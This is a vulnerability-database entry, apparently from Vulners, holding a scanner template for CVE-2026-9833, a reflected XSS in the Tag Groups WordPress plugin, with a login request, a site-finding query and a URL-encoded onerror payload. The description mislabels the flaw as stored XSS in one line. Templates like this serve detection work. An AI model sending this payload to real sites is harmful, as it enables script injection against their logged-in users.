WordPress Tag Groups < 2.2.0 - Reflected Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Exploit for CVE-2026-9833 | 1 Aug 202619:28 | – | githubexploit | |
| CVE-2026-9833 | 20 Jul 202606:00 | – | attackerkb | |
| CVE-2026-9833 | 20 Jul 202608:25 | – | circl | |
| CVE-2026-9833 | 20 Jul 202606:00 | – | cve | |
| CVE-2026-9833 Tag Groups < 2.2.0 - Reflected XSS via 'tag_groups_task' Parameter | 20 Jul 202606:00 | – | cvelist | |
| EUVD-2026-45893 | 20 Jul 202606:00 | – | euvd | |
| CVE-2026-9833 | 11 Oct 202608:04 | – | kitploit | |
| CVE-2026-9833 | 20 Jul 202607:16 | – | nvd | |
| PT-2026-61537 | 29 Jun 202600:00 | – | ptsecurity | |
| CVE-2026-9833: Improper Neutralization of Input During Web Page Generation | 20 Jul 202600:00 | – | rapid7 |
10
id: CVE-2026-9833
info:
name: WordPress Tag Groups < 2.2.0 - Reflected Cross-Site Scripting
author: anirbala98
severity: high
description: |
The Tag Groups WordPress plugin < 2.2.0 contains a stored XSS caused by improper escaping of an AJAX parameter reflected in an HTML response, letting unauthenticated attackers execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, exploit requires victim interaction.
impact: |
Attackers can execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, potentially leading to session hijacking or privilege escalation.
remediation: |
Update the Tag Groups plugin to version 2.2.0 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-9833
- https://wpscan.com/vulnerability/75792c33-2d9d-46db-a98c-00ec40951099/
- https://wordpress.org/plugins/tag-groups/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2026-9833
epss-score: 0.00524
epss-percentile: 0.42879
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: publishpress
product: tag-groups
fofa-query: body="/wp-content/plugins/tag-groups/"
tags: cve,cve2026,wordpress,wp-plugin,tag-groups,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin-ajax.php?action=tg_ajax_manage_groups&tag_groups_task=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&nonce=fake HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<img src=x onerror=alert(document.domain)>")'
condition: and
# digest: 4a0a0047304502201f839c0576ad0a28066f80a45b80fbb5cb0d9d4c913452a97aec270f6287bfa9022100b3c645d1d4bdfacb463bf94c39b955c84cd19bb3886f08e7996abd80fd4e666c:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Oct 2026 14:14Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.17.1
EPSS0.00524
SSVC